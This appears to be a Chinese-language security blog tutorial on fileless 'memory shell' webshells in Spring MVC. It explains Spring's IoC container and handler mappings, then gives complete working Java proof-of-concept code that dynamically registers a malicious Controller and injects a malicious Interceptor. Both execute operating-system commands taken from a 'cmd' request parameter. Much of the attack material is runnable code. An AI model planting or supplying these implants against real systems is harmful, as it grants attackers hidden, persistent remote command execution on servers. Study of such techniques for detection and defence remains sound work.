控制器、拦截器、管道
上一篇分析了 Servlet API 中提供的能够利用实现内存马的一些点。总结来说:
- Servlet:在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类
- Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类
- Listener:在 Filter 之外的监听进程
那么除了 Servlet API ,其实在常用的框架、组件、中间件的实现中,只要采用了类似的设计思想和设计模式的位置,都可以被发掘出来作为内存马的相关实现
Spring内存马
什么是Spring
Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件) 的一种框架,其核心理念就是IoC(Inversion of Control, 控制反转)和 AOP(AspectOrientedProgramming, 面向切面编程)。如今Spring全家桶已是一个庞大的家族
Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置
Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能
SpringBoot
SpringBoot 基于 Spring 开发。继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而是和 Spring 框架紧密结合,进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程
采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,常用的框架它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等。SpringBoot 应用中这些第三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决
Spring MVC
Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat
Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet,负责的肯定就是逻辑处理部分,需要Tomcat这样的服务器来给Spring提供运行环境
Spring MVC的运行流程
客户端发送Request,DispatcherServlet(等同于Controller控制器)控制器接收到请求,来到HandlerMapping(在配置文件中配置)。HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程)。Dispathcher通过ViewResolver视图解析器找到ModelAndView对象指定的视图对象。最后视图对象负责渲染返回给客户端
创建Spring MVC项目
下载导入demo
Spring Controller内存马
Bean
Bean
是 Spring 框架的一个核心概念,它是构成应用程序的主干,由 Spring IoC
容器负责实例化、配置、组装和管理的对象
- bean 是对象
- bean 被 IoC 容器管理
- Spring 应用主要是由一个个的 bean 构成的
IOC容器
如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。
IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java注解或Java代码来表示
ApplicationContext
Spring 框架中,BeanFactory
接口是SpringIoC容器的实际代表者
Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。可以从ApplicationContext中可以根据Bean的ID获取Bean
org.springframework.context.ApplicationContext
接口也代表了IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖
Root Context和Child Context
如果要访问和操作 bean
,一般要获得当前代码执行环境的IoC容器代表者 ApplicationContext
- Spring 应用中可以同时有多个
Context
,其中只有一个 Root Context
,剩下的全是 Child Context
- 所有
Child Context
都可以访问在 Root Context
中定义的 bean
,但是Root Context
无法访问Child Context
中定义的 bean
- 所有的
Context
在创建后,都会被作为一个属性添加到了 ServletContext
中
ContextLoaderListener
ContextLoaderListener
主要被用来初始化全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC容器,供其他 Child Context
获取并使用容器中的 bean
Spring内存马实现思路
和Tomcat内存马类似,要动态注册Controller:
- 获取上下文环境
- 注册恶意Controller
- 配置路径映射
动态注册Controller
Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping
注入的过程
RequestMappingHandlerMapping
是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo
对象,然后再注册进RequestMappingHandlerMapping
中,这样请求进来以后就可以根据请求地址调用到Controller类里面了
- RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建
- 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的
org.springframework.web.context.ContextLoaderListener
,由它来完成IOC容器的初始化和bean对象的注入
- 另外一个是ApplicationContext是由
org.springframework.web.servlet.DispatcherServlet
完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()
这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化
Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解
在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping
1 2 3 4 5 6 7 8 9 10 11
| RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
|
针对使用 DefaultAnnotationHandlerMapping
映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
进入查看代码,发现其中有一个registerHandler
方法,摘录关键部分如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException { ... Object resolvedHandler = handler; if (!this.lazyInitHandlers && handler instanceof String) { String handlerName = (String)handler; if (this.getApplicationContext().isSingleton(handlerName)) { resolvedHandler = this.getApplicationContext().getBean(handlerName); } } Object mappedHandler = this.handlerMap.get(urlPath); if (mappedHandler != null) { if (mappedHandler != resolvedHandler) { throw new IllegalStateException("Cannot map " + this.getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + this.getHandlerDescription(mappedHandler) + " mapped."); ... } else { this.handlerMap.put(urlPath, resolvedHandler); if (this.logger.isInfoEnabled()) { this.logger.info("Mapped URL path [" + urlPath + "] onto " + this.getHandlerDescription(handler)); } } }
|
该方法接受 urlPath
参数和 handler
参数,可以在 this.getApplicationContext()
获得的上下文环境中寻找名字为 handler
参数值的 bean
, 将 url 和 controller 实例 bean 注册到 handlerMap
中
相关示例代码和解释如下:
1 2 3 4 5 6 7 8 9
| context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class); m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
|
实现恶意Controller
1 2 3 4 5 6 7 8
| public class Controller_Shell{ public Controller_Shell(){} public void shell() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } }
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.shell.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Method; @Controller public class shell_controller {
@RequestMapping("/control") public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell"); PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, new Controller_Shell(), method); }
public class Controller_Shell{ public Controller_Shell(){} public void shell() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd")); } } }
|
首先访问/control
路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。可以使用@ResponeBody
来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区
然后访问定义恶意Controller的路由/shell
Spring Interceptor内存马
什么是Interceptor
Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式
- 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
- 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义
Interceptor示例
这里选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下
- preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作
- postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改
- afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.shell.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; public class Spring_Interceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter(); if ( url.indexOf("/login") >= 0){ writer.write("LoginIn"); writer.flush(); writer.close(); return true; } writer.write("LoginInFirst"); writer.flush(); writer.close(); return false; } }
|
编写对应的Controller
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.shell.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class Spring_Controller { @ResponseBody @RequestMapping("/login") public String Login(){ return "Success!"; } }
|
访问对应路径
request调用流程
当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层
1
| HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller
|
Interceptor和Filter有一定的相似之处,可以仿照Filter型内存马的实现思路
- 获取当前运行环境的上下文
- 实现恶意Interceptor
- 注入恶意Interceptor
获取环境上下文
通过反射获取LiveBeansView
类的applicationContexts
属性来获取上下文。
1 2 3 4 5 6
| java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
|
org.springframework.context.support.LiveBeansView
类在 spring-context
3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext
的实例
获取adaptedInterceptors属性值
获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name 叫什么
可以通过ApplicationContext
上下文来获取AbstractHandlerMapping
,进而反射获取adaptedInterceptors
属性值
1 2 3 4
| org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
|
实现恶意Interceptor
这里选择继承HandlerInterceptor类,并重写其preHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.shell.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } }
|
动态注册Interceptor
我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors
属性值中就可以了。
1 2 3
| //将恶意Interceptor添加入adaptedInterceptors Shell_Interceptor shell_interceptor = new Shell_Interceptor(); adaptedInterceptors.add(shell_interceptor);
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.shell.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @Controller public class Inject_Shell_Interceptor_Controller { @ResponseBody @RequestMapping("/inject") public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); Shell_Interceptor shell_interceptor = new Shell_Interceptor(); adaptedInterceptors.add(shell_interceptor); } public class Shell_Interceptor implements HandlerInterceptor{ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } } }
|
访问对应路由/inject
成功执行